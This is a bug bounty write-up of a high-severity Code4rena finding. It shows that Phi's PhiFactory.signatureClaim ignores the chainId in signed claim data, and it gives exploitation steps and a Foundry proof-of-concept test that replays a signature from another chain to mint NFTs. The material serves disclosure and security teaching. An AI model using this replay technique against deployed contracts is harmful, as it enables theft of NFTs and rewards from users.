# Signature replay in signatureClaim results in unauthorized claiming of rewards

PhiFactory.signatureClaim ignores the chainId field in signed claim data, letting a signature from one chain be replayed on another to steal valuable art NFTs.

- Payout: Audit contest
- Severity: high
- Program: Phi
- Found by: kuprum
- Disclosed: 2024-10-07
- Write-up quality: 7/10
- Original: https://github.com/code-423n4/2024-08-phi-findings/issues/254
- Library page: https://bugbountylibrary.com/r/c4%3A2024-08-phi%3AH-01
- Tags: area:web3 domain:web3 impact:funds-loss kind:contest platform:code4rena sev:high tech:evm tech:solidity technique:source-review vuln:access-control vuln:signature-replay

**Target:** PhiFactory.signatureClaim (Solidity contract, multi-chain)
**Root cause:** signatureClaim abi.decodes encodeData_ but skips the chainId field between artId and data_, and recovers the signer over the raw encodeData_ without substituting block.chainid, so signatures are not bound to a chain.
**Steps:**
1. Obtain a valid signature from phiSignerAddress over encodeData_ = (expiresIn, minter, ref, verifier, artId, chainId, data) issued for chain B.
2. Call PhiFactory.signatureClaim directly (bypassing Claimable which would substitute block.chainid) on chain A with the same signature and encodeData_.
3. signatureClaim decodes fields, ignores chainId, and _recoverSigner(keccak256(encodeData_), signature_) matches phiSignerAddress.
4. Mint succeeds on chain A for the same artId, updating ERC1155 balances, curator rewards, and verifier fees.
5. PoC: forge test with vm.sign over signData using otherChainId=99999, then phiFactory.signatureClaim on a different block.chainid; assert balanceOf(participant,1)==1.
**How found:** Code reading of signatureClaim's abi.decode tuple revealed a skipped slot (`uint256 artId_,, bytes32 data_`) corresponding to chainId, and comparison with Claimable::signatureClaim showed the chainId substitution step is bypassable by calling the factory directly.
**Exploitation:** Attacker finds a valuable artId on chain A, creates cheap arts on chain B until reaching that artId, legitimately claims it on chain B to obtain a valid signer signature, then replays that signature directly against PhiFactory.signatureClaim on chain A to mint/steal the valuable art and collect curator/verifier rewards.
**Escalation:** Cross-chain replay scales to any chain sharing the same artId mapping, enabling theft of high-value art across deployments.
**Insight:** When a wrapper contract substitutes block.chainid into signed data before forwarding to a verifier, check whether the verifier is externally callable and whether its decode tuple actually consumes every signed field; a skipped slot in abi.decode is a replay vector.

## Proof of concept (copied exactly from the original report)

**Foundry test replaying signature from another chain**

```
function testKuprum_Claim_with_Signature_Replay() public {
        uint256 artId = 1;
        uint256 tokenId = 1;
        uint256 quantity = 1;

        // The signature is obtained on some other chain
        uint256 otherChainId = 99999;
        assertNotEq(block.chainid, otherChainId);

        // Prepare the signature
        bytes32 claimData = bytes32("1");
        bytes memory signData =
            abi.encode(expiresIn, participant, referrer, verifier, artId, otherChainId, claimData);
        bytes32 digest = ECDSA.toEthSignedMessageHash(keccak256(signData));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(claimSignerPrivateKey, digest);
        if (v != 27) s = s | bytes32(uint256(1) << 255);
        bytes memory signature = abi.encodePacked(r, s);

        // Claim from the factory with the signature obtained for another chain
        vm.warp(START_TIME + 1);
        vm.startPrank(participant, participant);
        IPhiFactory.MintArgs memory mintArgs = IPhiFactory.MintArgs(tokenId, quantity, "ART_ID_URL_STRING");
        phiFactory.signatureClaim{ value: phiFactory.getArtMintFee(artId, 1) }(signature, signData, mintArgs);

        // All balances on this chain are updated, despite invalid signature
        assertEq(IERC1155(phiFactory.getArtAddress(artId)).balanceOf(participant, 1), 1, "participant erc1155 balance");
        assertEq(curatorRewardsDistributor.balanceOf(1), CURATE_REWARD, "epoch fee");
        assertEq(verifier.balance, 1 ether, "verify fee");
        vm.startPrank(verifier);
        phiRewards.withdraw(verifier, VERIFY_REWARD);
        assertEq(verifier.balance, 1 ether + VERIFY_REWARD, "verify fee");
    }
```

